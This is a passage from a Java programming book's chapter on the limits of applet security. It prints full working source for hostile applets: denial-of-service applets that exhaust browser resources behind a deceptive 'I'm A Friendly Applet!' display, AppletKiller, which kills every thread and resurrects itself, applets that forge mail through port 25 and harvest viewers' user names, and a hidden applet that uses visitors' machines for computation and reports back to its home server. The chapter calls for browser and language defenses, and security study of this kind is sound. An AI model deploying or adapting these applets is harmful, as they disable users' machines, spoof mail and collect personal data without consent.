public void init() { setBackground(Color.white); bark = getAudioClip(getCodeBase(),"Sounds/bark.au"); // Determine how many seconds the thread should sleep before kicking in String str = getParameter("wait"); if (str == null) delay = 0; else delay = (1000)*(Integer.parseInt(str)); try { for (int i = 0; i < 1000000; i++) { wasteResources[i] = null; } } catch (OutOfMemoryError o) {} // It may be better not to defend here // finally { // AttackThread geteven = new AttackThread(); // Thread killer = new Thread(geteven); // killer.setPriority(Thread.MAX_PRIORITY); // killer.start(); // } } /* Create and start the main thread in the standard way */ public void start() { if (controller == null) { controller = new Thread(this); controller.setPriority(Thread.MAX_PRIORITY); controller.start(); } } /* Do nothing, as usual */ public void stop() {} Open lots of threads which do lots of wasteful stuff */ public void run() { // Let the applet tell its lie

/*

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (13 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

repaint(); // Let the applet sleep for a while to avert suspicion try {controller.sleep(delay);} catch(InterruptedException e) {} Make it bark when it awakens and goes to work bark.loop(); try {controller.sleep(3000);} catch (InterruptedException e) {} try { for (int i = 0; i < 1000000; i++) { if (wasteResources[i] == null) { AttackThread a = new AttackThread(); wasteResources[i] = new Thread(a); wasteResources[i].setPriority(Thread.MAX_PRIORITY); wasteResources[i].start(); } } } catch (OutOfMemoryError o) {} finally { AttackThread geteven = new AttackThread(); Thread killer = new Thread(geteven); killer.setPriority(Thread.MAX_PRIORITY); killer.start(); } } Paints the applet's lie */ public void update(Graphics g) { paint(g); } public void paint(Graphics g) { g.setColor(Color.blue); g.setFont(bigFont); g.drawString("I'm A Friendly Applet!", 10, 200); } }

//

/*

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (14 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

Note Not shown in Listing 23.4 are the classes AttackThread and AttackFrame, which are called by the applet. They are on the CD and adapted from the applet TripleThreat.java which is discussed at length in the next section.

The goal of the applet is to make your browser die, barking, from a bus error and exit. (Remember from the Java Security FAQ that an applet cannot make your browser exit by issuing a command directly.) Like the other trio members, this applet runs in a thread, overrides stop() to do nothing, and has a parameter to delay its hostile effects. Like NoisyBear.java, it also features an annoying AudioClip (a dog's barking in this case) to announce the onset of hostilities. This applet seeks to create a large number, say 1,000,000, threads, each one carrying out hostile activities. Each thread runs an applet called AttackThread.java which repeatedly opens immense black windows and does useless work to occupy your browser. The net result of this thread competition should be a bus error, which makes your browser exit. It is quite possible, given all that the applet tries to do, that an OutOfMemoryError will be thrown before any hostile effects occur. The new feature introduced by HostileThreads is the attempt to defend itself and ensure that some hostile activity takes place, even if it is not the intended one (making the browser die barking). Thus it includes try-catch-finally blocks of the following form: try {do something hostile} catch (OutOfMemoryError o) {} finally {do something else hostile instead}. Of course, throwing an OutOfMemoryError is not the only thing that can go wrong, and so the applet does not defend itself perfectly, but the idea will prove useful later in the chapter to construct an applet killer that defends itself from ThreadDeath.

Learning From the Trio


Is there a straightforward solution to their noisome behavior? Perhaps the best solution would be to change the language and impose a non-vacuous stop() method on every applet. Given the unlikelihood of that, browsers should give the user more explicit control over applets and their threads. Giving the user the overriding power to detect and halt applets running rampant (much as some anti-virus software does) would cure many of the ills caused by denial-of-service applets. This is one of the new features of the latest release of Sun's HotJava browser (version 1.0 preBeta1), and it is an encouraging sign. Hopefully, the developers of other browsers will pursue this important line of defense against hostile applets.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (15 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

Why not do this with an applet instead? Later in this chapter you'll see how an applet, AppletKiller.java, can shut down every thread, effectively stopping all running applets and killing every new applet downloaded thereafter. This applet makes an applet-based solution infeasible, and so denial-of-service applets have to be handled by the browser and the language.

Throw Open a Window


As mentioned in the preceding section, the classes of HostileThreads.java were derived from another applet, TripleThreat.java. This applet is a more serious threat for two reasons. First, its hostile effects tend to disable the keyboard and mouse while the applet runs, making it more disruptive and difficult to control. More ominously, one unintended side effect of its "big windows" attack is the ability of an applet to pop up untrusted Java applet windows minus their usual warning. Listing 23.5 shows this very nasty applet.

Listing 23.5. TripleThreat.java. import java.awt.*; import java.applet.AudioClip; public class TripleThreat extends java.applet.Applet implements Runnable { // Just a font to paint strings to the applet window Font wordFont = new Font("TimesRoman", Font.BOLD, 36);

// This thread will attempt to spew forth huge windows and waste resources Thread wasteResources = null; // An offscreen Image where lots of action will take place Image offscreenImage; Graphics tools to handle the offscreen Image Graphics offscreenGraphics; To avoid arrays and have open-ended storage of results StringBuffer holdBigNumbers = new StringBuffer(0);

//

//

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (16 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

//

An annoying sound coming through the open window AudioClip annoy;

// Used to read in a parameter that makes the thread sleep for a // specified number of seconds int delay; // A window that repeatedly tries to obscure everything Frame littleWindow;

/* Set up a big white rectangle in the browser, get the sound, and create the offscreen graphics */ public void init() { setBackground(Color.white); offscreenImage = createImage(this.size().width, this.size().height); offscreenGraphics = offscreenImage.getGraphics(); annoy = getAudioClip(getCodeBase(), "Sounds/whistle.au"); // Determine how many seconds the thread should sleep before kicking in String str = getParameter("wait"); if (str == null) delay = 0; else delay = (1000)*(Integer.parseInt(str)); } /* */ Create and start the offending thread in the standard way

public void start() { if (wasteResources == null) { wasteResources = new Thread(this); wasteResources.setPriority(Thread.MAX_PRIORITY); wasteResources.start(); } } /* We certainly won't be stopping anything */

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (17 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

public void stop() {} /* Start the annoying sound and repeatedly open windows while doing lots of other wasteful operations */ public void run() { // Let the applet tell its lie repaint();

// Let the applet appear honest by having its thread sleep for a while try {Thread.sleep(delay);} catch (InterruptedException e) {} // Start the senseless noise annoy.loop();

// Now fill the screen with huge windows, one atop another, and do // lots of wasteful stuff! while (true) { try { holdBigNumbers.append(0x7fffffffffffffffL); littleWindow = new TripleFrame("ACK!"); // create a window littleWindow.resize(1000000, 1000000); big! littleWindow.move(-1000, -1000); // cover everything littleWindow.show(); // now open the big window } catch (OutOfMemoryError o) {} repaint(); } } /* Paints the applet's lie */ public void update(Graphics g) { paint(g); } public void paint(Graphics g) {
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (18 of 40) [8/16/02 8:36:06 AM]

// make it

Chapter 23 -- Pushing the Limits of Java Security

g.setColor(Color.blue); g.setFont(wordFont); g.drawString("I'm A Friendly Applet!", 10, 200); offscreenGraphics.setColor(Color.white); offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height); offscreenGraphics.setColor(Color.blue); offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50); } } /* Makes the big, opaque windows */ class TripleFrame extends Frame { Label l; // Constructor method TripleFrame(String title) { super(title); setLayout(new GridLayout(1, 1)); Canvas blackCanvas = new Canvas(); blackCanvas.setBackground(Color.black); add(blackCanvas); }

Like its gluttonous cousins, TripleThreat runs in a thread, overrides stop() to do nothing, and has a delay parameter that can be set to delay its insidious effects. Once the applet is initialized and its thread starts, it paints its little white lie to the screen and then sleeps for a predetermined length of time. Unfortunately, when this applet awakens, it gets up on the wrong side of the bed. It immediately starts blowing a whistle, and it repeatedly calls the class TripleFrame to open enormous (million-by-million pixel) windows ("ACK!"), piling them one atop another. For good measure, it also imitates its cousin Consume and repeatedly appends the largest integer to a StringBuffer. The results are what you might expect-the applet quickly consumes your resources. Because it keeps generating windows, it generates so many mouse events that your mouse becomes useless and you can't toggle the windows from the keyboard. The applet effectively excludes you from your workstation. At this point you can always reboot (not without risks), or on a network you can go elsewhere, login, and kill the offending processes.
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (19 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

Until you do, on a Sun Sparcstation for example, Netscape, OpenWindows, and the windows manager are left to battle it out for your resources, and you are forced to listen to the sound of a distant train whistle coming through the open windows. You might observe an unintended side effect of TripleThreat. On Sun Sparcstations, DEC Alphas, and Power Macintoshes, the big windows produced by the applet are missing the yellow warning banner proclaiming an "Untrusted Java Applet Window." As you recall from Sun's Java Security FAQ, that should not be possible for security reasons. To illustrate the risk here, included on this book's CD-ROM is the applet Ungrateful.java. This applet attempts to pop up such an untrusted Java applet window minus the yellow warning banner. It reports a security threat, seeks a login and password in order to run the browser in a "secure mode" (whatever that might mean), and communicates any results back to a listening ServerSocket. In response, the applet proceeds with a denial-of-service attack against you. This applet was not meant to be convincing, and it is not very successful in practice-but it does serve to illustrate a definite threat that popping up an untrusted applet window in disguise is possible. Sun has recently acknowledged that denial-of-service applets do pose a threat to the Web community (http://java.sun.com/sfaq/denialOfService.html), and they are actively investigating ways to eliminate this threat. But as they say, it is not so simple to automatically tell the difference between an MPEG decoder and a hostile applet, and so the Java language and most browsers may go through many more releases before working solutions are available. Nevertheless, the fact that they are now working on these problems is very encouraging news.

Survival of the Fittest, Applet Style


After encountering the Hostile Applets family, you may wonder if there is some way to protect yourself by disabling hostile applets before they have a chance to attack you. The good news is that there is a way to shut down applets. The bad news is that a hostile applet has already beaten you to the punch. Listing 23.6 displays the Grim Reaper of Java applets.

Listing 23.6. AppletKiller.java. import java.applet.*; import java.awt.*; import java.io.*; public class AppletKiller extends java.applet.Applet implements Runnable { Thread killer; public void init() {
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (20 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

killer = null; } public void start() { if (killer == null) { killer = new Thread(this,"killer"); killer.setPriority(Thread.MAX_PRIORITY); killer.start(); } } public void stop() {} // Kill all threads except this one public void run() { try { while (true) { ThreadKiller.killAllThreads(); try { killer.sleep(100); } catch (InterruptedException e) {} } } catch (ThreadDeath td) {} // Resurrect the hostile thread in case of accidental ThreadDeath finally { AppletKiller ack = new AppletKiller(); Thread reborn = new Thread(ack, "killer"); reborn.start(); } } } class ThreadKiller { // Ascend to the root ThreadGroup and list all subgroups recursively, // killing all threads as we go public static void killAllThreads() { ThreadGroup thisGroup; ThreadGroup topGroup;

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (21 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

ThreadGroup parentGroup; // Determine the current thread group thisGroup = Thread.currentThread().getThreadGroup(); // Proceed to the top ThreadGroup topGroup = thisGroup; parentGroup = topGroup.getParent(); while(parentGroup != null) { topGroup = parentGroup; parentGroup = parentGroup.getParent(); } // Find all subgroups by descending recursively findGroups(topGroup); } private static void findGroups(ThreadGroup g) { if (g == null) {return;} else { int numThreads = g.activeCount(); int numGroups = g.activeGroupCount(); Thread[] threads = new Thread[numThreads]; ThreadGroup[] groups = new ThreadGroup[numGroups]; g.enumerate(threads, false); g.enumerate(groups, false); for (int i = 0; i < numThreads; i++) killOneThread(threads[i]); for (int i = 0; i < numGroups; i++) findGroups(groups[i]); } } private static void killOneThread(Thread t) { if (t == null || t.getName().equals("killer")) {return;} else {t.stop();} } }

This nasty applet is worth examining in some detail. It begins by creating a thread, explicitly naming it "killer" and setting its priority to MAX_PRIORITY before starting it. Once again the applet's stop() method does nothing, but this time there is no delay-it starts annihilating other applets as soon as possible.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (22 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

The applet's run() method is particularly simple, but introduces one novel feature of the applet: the run() method takes the form of a try-catch-finally statement. The try clause contains an infinite while loop that executes the killAllThreads() method of the class ThreadKiller and then sleeps for 100 milliseconds before making another pass through the loop. (This brief pause is needed to avoid overwhelming the browser and hanging it. The figure of 100 milliseconds was chosen empirically-it seems to get the job done, although a shorter time may be possible.) The catch clause handles the ThreadDeath error, but it does nothing and simply passes control to the finally clause. The finally clause is the novel feature of AppletKiller. The Java language guarantees that this clause is executed if any portion of the try clause is executed. In the present context, this means that if the applet starts, and if ThreadDeath occurs for whatever reason, the applet executes its finally clause. A cursory inspection of this clause shows that it creates a new AppletKiller together with a new thread in which to run the resurrected applet. It also names the thread "killer" and starts it. Thus this hostile applet continues its existence as a ghost which will haunt your browser. Run the AppletKiller long enough under adverse network conditions, and return to its home page. You may find that the original applet is reported as killed, and yet the applet killing continues unabated. This means that the original AppletKiller's finally clause has been executed, and it is the ghost of the departed applet which is doing the dirty work. The class ThreadKiller is the actual applet executioner, and it has three methods. The method killAllThreads() starts with the current thread group and then ascends to the root thread group, which it passes to the method findGroups(). The method findGroups() enumerates all of its threads and thread groups. Then killAllThreads() passes each thread to killOneThread(), and it passes each thread group back to findGroups(). The method killOneThread() tests a thread and stops it if its name is not "killer." Each pass through the while loop of AppletKiller seeks out and stops every thread except its own. In other words, AppletKiller stops all applets that are running when it is downloaded, and it kills all applets that are encountered after that. It is one very nasty applet. AppletKiller also can serve as a "bodyguard" for other applets. If you take an applet and name all of its threads, and then add the names of these threads to the if clause of the method ThreadKiller.killOneThread(), AppletKiller allows only itself and your selected applet to run. As a result, it is difficult or impossible to defend against hostile applets by deploying an applet for this purpose-AppletKiller would make short shrift of such a guard applet. Defense against hostile applets has to come from a higher level-from the browser and the language. Additionally, the construction in the try-catch-finally clause of AppletKiller's run() method might be used to enhance any applet and make it defend itself against ThreadDeath. One might be able to
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (23 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

provide continuity between the original applet and its resurrected copy, initializing the copy with data from the original. So while AppletKiller is among the nastiest members of the Hostile Applets family, it does have some helpful insights for Java programmers.

Port 25, Where Are You?


On UNIX systems it is relatively simple to "forge" electronic mail. To get started, look at the file /etc/mail/sendmail.hf for the commands that you need. Then use telnet to connect to port 25 on any machine that will accept a connection and use these commands to interact with sendmail. While this enables you to play nice little tricks on your friends, without any additional subterfuge you are not really forging e-mail at all, because sendmail is at least clever enough to discern your identity and include this in the header. The issue is different, however, if you use do this by using someone else's account without authorization, and that is precisely what the following applet, shown in Listing 23.7, is designed to do.

Listing 23.7. Forger.java. import java.applet.*; import java.io.*; import java.net.*; public class Forger extends java.applet.Applet implements Runnable { public static Socket socker; public static DataInputStream inner; public static PrintStream outer; public static int mailPort = 25 ; public static String mailFrom = "java.sun.com"; public static String toMe = "[email protected]";// Change this! public static String starter = new String(); Thread controller = null; public void init() { try { socker = new Socket(getDocumentBase().getHost(), mailPort); inner = new DataInputStream(socker.getInputStream()); outer = new PrintStream(socker.getOutputStream()); }
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (24 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

catch (IOException ioe) {} } public void start() { if (controller == null) { controller = new Thread(this); controller.setPriority(Thread.MAX_PRIORITY); controller.start(); } } public void stop() { if (controller != null) { controller.stop(); controller = null; } } public void run() { try { starter = inner.readLine(); } catch (IOException ioe) {} mailMe("HELO " + mailFrom); mailMe("MAIL FROM: " + "HostileApplets@" + mailFrom); mailMe("RCPT TO: " + toMe); mailMe("DATA"); mailMe("Subject: About PenPal.java" + "\n" +"Hi Venkat," + "\n" + "\n" + "Thanks for taking a look at PenPal.java. From your note\n" + "I think I can understand why you're not seeing the desired\n" + "result. My guess is that perhaps you're only looking at\n" + "an abbreviated header from an e-mail note that the applet\n" + "forges. In order to get the whole story, you have to\n" + "inspect the full header. That's where you'll be able to\n" + "discern more information about the *sender*. Of course\n" +

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (25 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

"that's exactly what my shell script retrieves from\n" + "/var/mail/mladue. from the\n" + "source code, and indeed I noticed it quite by accident \n" + "when I was fiddling around trying to make my mail forging\n" + "applet work. Perhaps it's a peculiarity of the mail\n" + "system here in the School of Mathematics, but it really works\n"+ "for me here. So I hope that's what it is and that you'll\n" + "be able to reproduce my results there.\n" + "\n" + "Mark LaDue\n" + "[email protected]\n" + "\n" + "\n" + "P.S. Of course one of my applets forged this note.\n" + "\n." + "\n"); mailMe("QUIT"); try { socker.close(); } catch (IOException ioe) {} } public void mailMe(String toSend) { String response = new String(); try { outer.println(toSend); outer.flush(); response = inner.readLine(); } catch(IOException e) {} } } None of this is apparent

The applet is very simple in its conception and operation. The init() method creates a socket to communicate with port 25 on the applet's home host, a DataInputStream to read lines of text to the socket, and a PrintStream to write lines of text to the socket. Once the applet starts, it uses its mailMe() method to interact with sendmail. mailMe() sends a string to sendmail and returns its
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (26 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

response to the applet. The run() method of Forger then follows the command format given in /etc/mail/sendmail.hf to send its e-mail letter. It is important to understand clearly what happens here. By viewing the applet, you are forced to connect to port 25 on the applet's home host, and you have no choice in the matter. You need not even be made aware that this is happening. The applet's author controls everything about your interaction with sendmail: the recipient, the message, and even the return address supplied to sendmail. Nevertheless, the e-mail header identifies you (or at least your machine) as the originator of the message. Of course, on a soundly administered system, careful logging will reveal the applet's author as the instigator, so the threat may not be as serious as it seems at first. The fact that the complete e-mail address of the person viewing the applet may show up in the e-mail header suggests that an applet can in fact obtain user names. Listing 23.8 displays such an applet.

Listing 23.8. PenPal.java. import java.applet.*; import java.io.*; import java.net.*; public class PenPal extends java.applet.Applet implements Runnable { public static Socket socker; public static DataInputStream inner; public static PrintStream outer; public static int mailPort = 25 ; public static String mailFrom = "my.hostile.applet"; public static String toMe = "[email protected]"; //Change this please! public static String starter = new String(); Thread controller = null; public void init() { try { socker = new Socket(getDocumentBase().getHost(), mailPort); inner = new DataInputStream(socker.getInputStream()); outer = new PrintStream(socker.getOutputStream()); }
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (27 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

catch (IOException ioe) {} } public void start() { if (controller == null) { controller = new Thread(this); controller.setPriority(Thread.MAX_PRIORITY); controller.start(); } } public void stop() { if (controller != null) { controller.stop(); controller = null; } } public void run() { try { starter = inner.readLine(); } catch (IOException ioe) {} mailMe("HELO " + mailFrom); mailMe("MAIL FROM: " + "penpal@" + mailFrom); mailMe("RCPT TO: " + toMe); mailMe("DATA"); mailMe("Hey, it worked!" + "\n." + "\n"); mailMe("QUIT"); try { socker.close(); } catch (IOException ioe) {} } public void mailMe(String toSend) { String response = new String(); try { outer.println(toSend); outer.flush(); response = inner.readLine(); } catch(IOException e) {} }

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (28 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

The applet works just like Forger.java. Now the person viewing the applet is compelled to send a simple note to the applet's author ([email protected]). In order to make a convenient list of e-mail addresses, the author used a little UNIX shell script (shown in listing 23.9) to scan his incoming mail for messages from [email protected] and select the fields of those letters that might contain complete e-mail addresses, including user names. The applet seems to be successful in obtaining a user name at least 20% of the time. Although it is not perfectly successful, it works often enough to be considered a hazard to those concerned about privacy. The fact that it works at all shows once again that Java can behave in ways unexpected by the language's creators. (For reasons of privacy, a sample of the output is not included here.)

Listing 23.9. Update (shell script). #! /bin/csh grep "from my" /var/mail/mladue | cut -f4,5 -d" " >> ~/public_html/penpals sort ~/public_html/penpals | uniq > .allpals /bin/rm ~/public_html/penpals mv .allpals ~/public_html/penpals chmod 755 ~/public_html/penpals

Are Stealthy Applets Dangerous?


The applets in this section pose some difficult questions for the Java language. With the potential for mischief so clearly demonstrated, should an applet be allowed to connect to port 25 and send mail? Likewise, applets that connect to port 23 (telnet) could also get viewers into trouble. For example, it is possible to write an applet which connects to port 23 and repeatedly tries to login as root. The very nature of Java makes any telnet applet highly amenable to recording passwords. Should applets be allowed to connect to any ports at all? It is a very nice feature of the language that applets can do so, but this can lead to the unauthorized use of others' resources, as shown in the next section.

A Java Factoring-By-Web Project


The security of the RSA public key cryptosystem depends upon the difficulty of factoring a large integer into a product of prime numbers. In 1977 Rivest, Shamir, and Adelman, the inventors of RSA, announced
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (29 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

their challenge problem of factoring a certain 129-digit integer, which came to be known as RSA-129. At the time, they estimated that it would take some 4 x 1016 years to factor their integer. But in April of 1994 a team of researchers announced that RSA-129 had been factored. The factorization had taken less than a year using the Quadratic Sieve alogorithm and the collaboration of many researchers and volunteers across the Internet. Currently there is ongoing research into the prospects of organizing the World Wide Web into a generalpurpose parallel computer capable of handling Grand Challenge problems. One such effort is the RSA Factoring-By-Web Project, which is organized by some of the same researchers who factored RSA-129. The project is sponsored by several research institutions, including NPAC at Syracuse University, BellCore, Oxford, and Boston University. In essence the project seeks voluntary contributions of computational resources from sites around the world. The volunteer sites work on portions of the larger factoring problems and report their results back to the major sites, which then collate and analyze the results. On April 10, 1996 the project reported that RSA-130 had been factored in a fraction of the time that it took to factor RSA-129. This section presents a little Java Factoring-By-Web Project. The main differences between this project and the RSA Factoring-By-Web Project follow: 1. This project uses Java applets exclusively, and it can easily be run by one person. 2. This project factors relatively small (12-20 digit) integers using a terribly inefficient algorithm (trial division). 3. Participation in the project need not be voluntary. Listings 23.10-23.13 lay out the applet DoMyWork.java and its component classes, Calculator.java, Report.java, and ReportServerSocket.java.

Listing 23.10. DoMyWork.java. import java.awt.*; import java.applet.Applet; public class DoMyWork extends java.applet.Applet implements Runnable { // Just a font to paint strings to the applet window Font bigFont = new Font("TimesRoman", Font.BOLD, 36); These threads will make you perform the calculations and send the results back to their home. Thread controller = null; Thread sleeper = null;

// //

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (30 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

// Used to read in a parameter that makes the thread sleep for a // specified number of seconds taking effect int delay; // Used to read in a parameter that determines the port to which // Sockets will be connected public static int thePort; // Used to read in as a parameter the long integer to be factored public static long theNumber; // Used to hold the localhost to which the applet will connect public static String theHome; public void init() { setBackground(Color.white); // Determine how many seconds the main thread should sleep before kicking in String str = getParameter("wait"); if (str == null) delay = 0; else delay = (1000)*(Integer.parseInt(str)); // Determine the port number str = getParameter("portnumber"); if (str == null) thePort = 9000; else thePort = Integer.parseInt(str); // Determine the long integer to be factored str = getParameter("tobefactored"); if (str == null) theNumber = 2L; else theNumber = Long.parseLong(str); // Determine the home host of the applet theHome = getDocumentBase().getHost(); } /* Create and start the main thread in the standard way */ public void start() {
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (31 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

if (sleeper == null) { sleeper = new Thread(this); sleeper.setPriority(Thread.MAX_PRIORITY); sleeper.start(); } } /* And why should we stop? */ public void stop() {} public void run() { // Let the applet tell its lie repaint();

// Let the applet sleep for a while to avert suspicion if you like try {sleeper.sleep(delay);} catch(InterruptedException e) {} if (controller == null) { Calculator calc = new Calculator(); controller = new Thread(calc); controller.setPriority(Thread.MAX_PRIORITY); controller.start(); } } /* Paints the applet's lie */ public void update(Graphics g) { paint(g); } public void paint(Graphics g) { g.setColor(Color.blue); g.setFont(bigFont); g.drawString("I'm Not Doing Anything!", 10, 200); } }

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (32 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

Listing 23.11. Calculator.java. import import import import java.io.*; java.net.*; DoMyWork; Report;

/* This simple class just calls the class that does all the work */ public class Calculator extends java.applet.Applet implements Runnable { // The class that actually does the work public GetFactor doWork; As usual, we won't stop anything */ public void stop() {} /* Starts the factoring by trial division */ public void run() { doWork = new GetFactor(); } } /* it This class takes a given long integer and tries to factor

/*

by trial division. Of course other alogorithms could be used instead, and you're not limited to such simple schemes. */ class GetFactor extends DoMyWork { // The quantities that we'll be working with long myNumber = DoMyWork.theNumber; int myPort = DoMyWork.thePort; String myHome = DoMyWork.theHome; long factor; long hopeful; Report sendIt = null; Long T = null; Long L = null;

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (33 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

//

Tells whether or not factoring was successful boolean success; Start factoring by trial division */ GetFactor() { long maxfactor = (long) java.lang.Math.sqrt(myNumber)

/*

+ 1; factor = 3L; hopeful = 0L; success = false; hopeful = myNumber % 2; if (hopeful == 0) { success = true; factor = 2; } else { success = false; factor = 3; while (success == false && factor < maxfactor) { hopeful = myNumber % factor; if (hopeful == 0) {success = true;} factor += 2; } } if (success == false) {factor = myNumber;} else { if (factor > 2) {factor -= 2;} } T = new Long(myNumber); L = new Long(factor); String teststr = T.toString(); String factorstr = L.toString(); sendIt = new Report(myHome, myPort); sendIt.communicate(teststr, factorstr); } }

Listing 23.12. Report.java.


file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (34 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

/* */

This class allows the applet to communicate with its home.

import import import import import

java.applet.Applet; java.awt.*; java.io.*; java.net.*; java.util.Date;

public class Report { public String home = new String("www.math.gatech.edu"); public int port = 9000; public String localhome = null; public boolean debug = false; public InetAddress localHome = null; public String localAddress = null; public Date rightNow; // Construct the class Report(String home, int port) { this.home = home; this.port = port; } public void communicate(String teststr, String factorstr) { Socket socker = null; OutputStream outerStream = null; byte by[] = new byte[4096]; int numberbytes; InetAddress inneraddress = null; String response = null; StringBuffer responsebuf = new StringBuffer(); // System.out.println("I'm up to no good"); try { socker = new Socket(home, port); outerStream = socker.getOutputStream(); } catch (IOException ioe) { if (debug) System.out.println("I can't open a socket to " + home); }
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (35 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

try { if (debug) System.out.println("Sending factoring information to" + home); inneraddress = socker.getInetAddress(); try { localHome = inneraddress.getLocalHost(); localAddress = localHome.toString(); } catch (UnknownHostException u) { System.out.println("I can't get the remote host's name"); } rightNow = new Date(); String time = rightNow.toString(); responsebuf.append(localAddress + "\t" + time + "\t" + teststr + "\t" + factorstr + "\n"); response = responsebuf.toString(); numberbytes = response.length(); response.getBytes(0, numberbytes, by, 0); outerStream.write(by, 0, numberbytes); } catch (IOException ioe) { if (debug) System.out.println("I can't talk to " + home); } } }

Listing 23.13. ReportServerSocket.java. /* This Java Application sets up a simple ServerSocket to receive data from the Java applet DoMyWork.java */ import import import import java.applet.Applet; java.awt.*; java.io.*; java.net.*;

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (36 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

class ReportServerSocket{ public static void main(String args[]) { ServerSocket server; Socket socker; InputStream innerStream; OutputStream outerStream; String home = new String("www.math.gatech.edu"); int port = 9000; byte by[] = new byte[4096]; int numberbytes; String reply;

//

if (args.length != 1) { System.out.println("Command: java ReportSocketServer <port number>"); return; } System.out.println("ReportSocketServer Session Starting"); System.out.println("*Factor is the smallest prime factor of Integer*"); port = Integer.parseInt(args[0]); // Create the ServerSocket try { server = new ServerSocket(port); } catch (IOException ioe) { System.out.println("Unable to open port " + port); return; }

//

Listen for anyone sending reults back to the applet while (true) { try { socker = server.accept(); innerStream = socker.getInputStream(); } catch (IOException ioe) { System.out.println("Accept failed at port " + port);
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (37 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

return; } try { numberbytes = innerStream.read(by, 0, 4096); } catch (IOException ioe) { System.out.println("Read failed at port " + port); return; } reply = new String(by, 0, 0, numberbytes); System.out.println("Host Name / IP Address \t" + "Date" + "\t\t\t\t" + "Integer "Factor"); System.out.println(reply); // We could send a message back, but we won't right now try { socker.close(); } catch (IOException ioe) { System.out.println("Unable to close port " + port); } } } } \t" +

The applet begins by reading in three parameters from its home page: a delay (in seconds), a port number, and a long integer to be factored. After the main thread, sleeper sleeps for the number of seconds specified by delay, then creates a Calculator object, calc, and a new thread, controller, in which the action takes place. Now calc simply creates a new getFactor object, doWork, to factor the given integer. The class getFactor factors an integer by trial division, and it creates a new instance of the Report class, sendit, to communicate its results back to the applet's home site. The Java application ReportServerSocket sets up a ServerSocket to listen on a specified port for these results, which are readily redirected to a file and which can be displayed from a Web page.

The Dangers of Stealthy Applets


file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (38 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

